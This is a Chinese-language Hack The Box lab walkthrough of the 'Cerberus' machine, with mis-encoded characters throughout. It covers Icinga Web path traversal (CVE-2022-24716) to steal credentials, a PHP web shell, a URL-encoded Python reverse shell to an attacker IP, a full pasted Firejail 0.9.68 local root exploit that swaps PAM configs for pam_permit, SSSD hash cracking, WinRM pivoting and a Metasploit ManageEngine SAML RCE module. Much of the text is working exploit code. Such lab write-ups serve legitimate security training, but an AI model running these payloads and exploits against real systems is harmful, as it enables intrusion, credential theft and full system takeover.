HTB打靶日记:Cerberus
//靶場(chǎng)看起來(lái)簡(jiǎn)單,實(shí)際上打了六七個(gè)小時(shí),很多地方有坑。。。
信息收集:
TCP協(xié)議:
TARGET=10.129.91.88 && nmap -p$(nmap -p- --min-rate=1000 -T4 $TARGET -Pn | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) -sC -sV -Pn -vvv $TARGET -oN nmap_tcp_all.nmap?UDP協(xié)議
nmap -sU --open -T5 --top-ports 200 -Pn 10.129.91.88?發(fā)現(xiàn)域名cerberus.local,子域名icinga.cerberus.local,加入hosts文件中,在8080端口發(fā)現(xiàn)了icinga的web服務(wù),最近利用 (CVE-2022-24716),進(jìn)行,目錄遍歷(嘶貨)
curl http://icinga.cerberus.local:8080/icingaweb2/lib/icinga/icinga-php-thirdparty/etc/hosts -v讀取icinga web的配置文件(Configuration - Icinga Web)
?獲取了用戶(hù)名matthew與密碼IcingaWebPassword2023
?獲取了用戶(hù)matthew
?利用剛才獲取的密碼成功登陸后臺(tái)
更改模塊路徑
?創(chuàng)建用戶(hù)
創(chuàng)建密鑰
?將私鑰復(fù)制保存在Private Key處
?檢查一下私鑰,是否成功存放
?利用漏洞寫(xiě)入shell
直接寫(xiě)入會(huì)報(bào)錯(cuò),利用yakit劫持一下數(shù)據(jù)包,然后更改payload
?增加<?php system($_REQUEST['cmd']);?>
成功寫(xiě)入shell
成功命令執(zhí)行
?反彈shell會(huì)話(huà)
curl "http://icinga.cerberus.local:8080/icingaweb2/ssh/shm/run.php?cmd=export%20RHOST%3D%2210.10.16.6%22%3Bexport%20RPORT%3D8888%3Bpython3%20-c%20%27import%20sys%2Csocket%2Cos%2Cpty%3Bs%3Dsocket.socket%28%29%3Bs.connect%28%28os.getenv%28%22RHOST%22%29%2Cint%28os.getenv%28%22RPORT%22%29%29%29%29%3B%5Bos.dup2%28s.fileno%28%29%2Cfd%29%20for%20fd%20in%20%280%2C1%2C2%29%5D%3Bpty.spawn%28%22%2Fbin%2Fbash%22%29%27" --output -?
?檢查一下權(quán)限設(shè)置問(wèn)題
?發(fā)現(xiàn)firejail存在本地提權(quán)漏洞
谷歌查了一下發(fā)現(xiàn)2022年新出了一個(gè)本地提權(quán)漏洞
exp
#!/usr/bin/python3# Author: Matthias Gerstner <matthias.gerstner () suse com> # # Proof of concept local root exploit for a vulnerability in Firejail 0.9.68 # in joining Firejail instances. # # Prerequisites: # - the firejail setuid-root binary needs to be installed and accessible to the # invoking user # # Exploit: The exploit tricks the Firejail setuid-root program to join a fake # Firejail instance. By using tmpfs mounts and symlinks in the unprivileged # user namespace of the fake Firejail instance the result will be a shell that # lives in an attacker controller mount namespace while the user namespace is # still the initial user namespace and the nonewprivs setting is unset, # allowing to escalate privileges via su or sudo.import os import shutil import stat import subprocess import sys import tempfile import time from pathlib import Path# Print error message and exit with status 1 def printe(*args, **kwargs):kwargs['file'] = sys.stderrprint(*args, **kwargs)sys.exit(1)# Return a boolean whether the given file path fulfils the requirements for the # exploit to succeed: # - owned by uid 0 # - size of 1 byte # - the content is a single '1' ASCII character def checkFile(f):s = os.stat(f)if s.st_uid != 0 or s.st_size != 1 or not stat.S_ISREG(s.st_mode):return Falsewith open(f) as fd:ch = fd.read(2)if len(ch) != 1 or ch != "1":return Falsereturn Truedef mountTmpFS(loc):subprocess.check_call("mount -t tmpfs none".split() + [loc])def bindMount(src, dst):subprocess.check_call("mount --bind".split() + [src, dst])def checkSelfExecutable():s = os.stat(__file__)if (s.st_mode & stat.S_IXUSR) == 0:printe(f"{__file__} needs to have the execute bit set for the exploit to work. Run `chmod +x {__file__}` and try again.")# This creates a "helper" sandbox that serves the purpose of making available # a proper "join" file for symlinking to as part of the exploit later on. # # Returns a tuple of (proc, join_file), where proc is the running subprocess # (it needs to continue running until the exploit happened) and join_file is # the path to the join file to use for the exploit. def createHelperSandbox():# just run a long sleep command in an unsecured sandboxproc = subprocess.Popen("firejail --noprofile -- sleep 10d".split(),stderr=subprocess.PIPE)# read out the child PID from the stderr output of firejailwhile True:line = proc.stderr.readline()if not line:raise Exception("helper sandbox creation failed")# on stderr a line of the form "Parent pid <ppid>, child pid <pid>" is outputline = line.decode('utf8').strip().lower()if line.find("child pid") == -1:continuechild_pid = line.split()[-1]try:child_pid = int(child_pid)breakexcept Exception:raise Exception("failed to determine child pid from helper sandbox")# We need to find the child process of the child PID, this is the# actual sleep process that has an accessible root filesystem in /procchildren = f"/proc/{child_pid}/task/{child_pid}/children"# If we are too quick then the child does not exist yet, so sleep a bitfor _ in range(10):with open(children) as cfd:line = cfd.read().strip()kids = line.split()if not kids:time.sleep(0.5)continueelif len(kids) != 1:raise Exception(f"failed to determine sleep child PID from helper sandbox: {kids}")try:sleep_pid = int(kids[0])breakexcept Exception:raise Exception("failed to determine sleep child PID from helper sandbox")else:raise Exception(f"sleep child process did not come into existence in {children}")join_file = f"/proc/{sleep_pid}/root/run/firejail/mnt/join"if not os.path.exists(join_file):raise Exception(f"join file from helper sandbox unexpectedly not found at {join_file}")return proc, join_file# Re-executes the current script with unshared user and mount namespaces def reexecUnshared(join_file):if not checkFile(join_file):printe(f"{join_file}: this file does not match the requirements (owner uid 0, size 1 byte, content '1')")os.environ["FIREJOIN_JOINFILE"] = join_fileos.environ["FIREJOIN_UNSHARED"] = "1"unshare = shutil.which("unshare")if not unshare:printe("could not find 'unshare' program")cmdline = "unshare -U -r -m".split()cmdline += [__file__]# Re-execute this script with unshared user and mount namespacessubprocess.call(cmdline)if "FIREJOIN_UNSHARED" not in os.environ:# First stage of execution, we first need to fork off a helper sandbox and# an exploit environmentcheckSelfExecutable()helper_proc, join_file = createHelperSandbox()reexecUnshared(join_file)helper_proc.kill()helper_proc.wait()sys.exit(0) else:# We are in the sandbox environment, the suitable join file has been# forwarded from the first stage via the environmentjoin_file = os.environ["FIREJOIN_JOINFILE"]# We will make /proc/1/ns/user point to this via a symlink time_ns_src = "/proc/self/ns/time"# Make the firejail state directory writeable, we need to place a symlink to # the fake join state file there mountTmpFS("/run/firejail") # Mount a tmpfs over the proc state directory of the init process, to place a # symlink to a fake "user" ns there that firejail thinks it is joining try:mountTmpFS("/proc/1") except subprocess.CalledProcessError:# This is a special case for Fedora Linux where SELinux rules prevent us# from mounting a tmpfs over proc directories.# We can still circumvent this by mounting a tmpfs over all of /proc, but# we need to bind-mount a copy of our own time namespace first that we can# symlink to.with open("/tmp/time", 'w') as _:passtime_ns_src = "/tmp/time"bindMount("/proc/self/ns/time", time_ns_src)mountTmpFS("/proc")FJ_MNT_ROOT = Path("/run/firejail/mnt")# Create necessary intermediate directories os.makedirs(FJ_MNT_ROOT) os.makedirs("/proc/1/ns")# Firejail expects to find the umask for the "container" here, else it fails with open(FJ_MNT_ROOT / "umask", 'w') as umask_fd:umask_fd.write("022")# Create the symlink to the join file to pass Firejail's sanity check os.symlink(join_file, FJ_MNT_ROOT / "join") # Since we cannot join our own user namespace again fake a user namespace that # is actually a symlink to our own time namespace. This works since Firejail # calls setns() without the nstype parameter. os.symlink(time_ns_src, "/proc/1/ns/user")# The process joining our fake sandbox will still have normal user privileges, # but it will be a member of the mount namespace under the control of *this* # script while *still* being a member of the initial user namespace. # 'no_new_privs' won't be set since Firejail takes over the settings of the # target process. # # This means we can invoke setuid-root binaries as usual but they will operate # in a mount namespace under our control. To exploit this we need to adjust # file system content in a way that a setuid-root binary grants us full # root privileges. 'su' and 'sudo' are the most typical candidates for it. # # The tools are hardened a bit these days and reject certain files if not owned # by root e.g. /etc/sudoers. There are various directions that could be taken, # this one works pretty well though: Simply replacing the PAM configuration # with one that will always grant access. with tempfile.NamedTemporaryFile('w') as tf:tf.write("auth sufficient pam_permit.so\n")tf.write("account sufficient pam_unix.so\n")tf.write("session sufficient pam_unix.so\n")# Be agnostic about the PAM config file location in /etc or /usr/etcfor pamd in ("/etc/pam.d", "/usr/etc/pam.d"):if not os.path.isdir(pamd):continuefor service in ("su", "sudo"):service = Path(pamd) / serviceif not service.exists():continue# Bind mount over new "helpful" PAM config over the originalbindMount(tf.name, service)print(f"You can now run 'firejail --join={os.getpid()}' in another terminal to obtain a shell where 'sudo su -' should grant you a root shell.")while True:line = sys.stdin.readline()if not line:break成功提權(quán)到root權(quán)限(這里運(yùn)行python腳本后,需要另一個(gè)shell來(lái)執(zhí)行提權(quán)命令)
?因?yàn)橛杏虻拇嬖?#xff0c;檢查SSSD,目錄在/var/lib/sss/db(SSSD是一種常見(jiàn)的Linux系統(tǒng)服務(wù),提供了與LDAP,Kerberos和其他身份驗(yàn)證和授權(quán)服務(wù)的集成。SSSD提供了一種緩存機(jī)制,可以將身份驗(yàn)證和授權(quán)數(shù)據(jù)緩存在本地計(jì)算機(jī)上,以便在進(jìn)行身份驗(yàn)證和授權(quán)時(shí)更快地訪(fǎng)問(wèn)這些數(shù)據(jù)。)
成功破解matthew的hash
利用fscan發(fā)現(xiàn)172.16.22.1主機(jī)
?遠(yuǎn)程加載nmap腳本掃描172.16.22.1主機(jī)開(kāi)發(fā)端口,發(fā)現(xiàn)5985端口開(kāi)放
將5985端口轉(zhuǎn)發(fā)出來(lái)
利用evil-winrm加上之前破解的密碼成功登陸winrm
?成功獲取第一個(gè)flag
?發(fā)現(xiàn)了ManageEngine,這個(gè)之前爆出過(guò)洞(之前復(fù)現(xiàn)過(guò))
觀察本地服務(wù) ?
ManageEngine ADSelfService Plus 的默認(rèn)端口為9251?
?建立socks管道
將hosts文件域名解析為127.0.0.1(關(guān)于dc.cerberus.local的獲取,嘗試訪(fǎng)問(wèn)icinga.cerberus.local后會(huì)自動(dòng)跳轉(zhuǎn)到dc.cerberus.local) ?
?訪(fǎng)問(wèn)https://dc.cerberus.local:9251后會(huì)自動(dòng)跳轉(zhuǎn)到一個(gè)登陸界面
利用賬戶(hù)matthew@cerberus.local和他的密碼,雖然登陸后沒(méi)有東西但是成功獲取了最重要的GUID
?利用msf的exp
exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966?這個(gè)自己去想怎么獲取的:ISSUER_URL[http://dc.cerberus.local/adfs/services/trust]
成功獲取system權(quán)限
?最后拿到了root.txt
?
?
總結(jié)
以上是生活随笔為你收集整理的HTB打靶日记:Cerberus的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 数字时钟(Digital Clock)
- 下一篇: pyqt5多窗口切换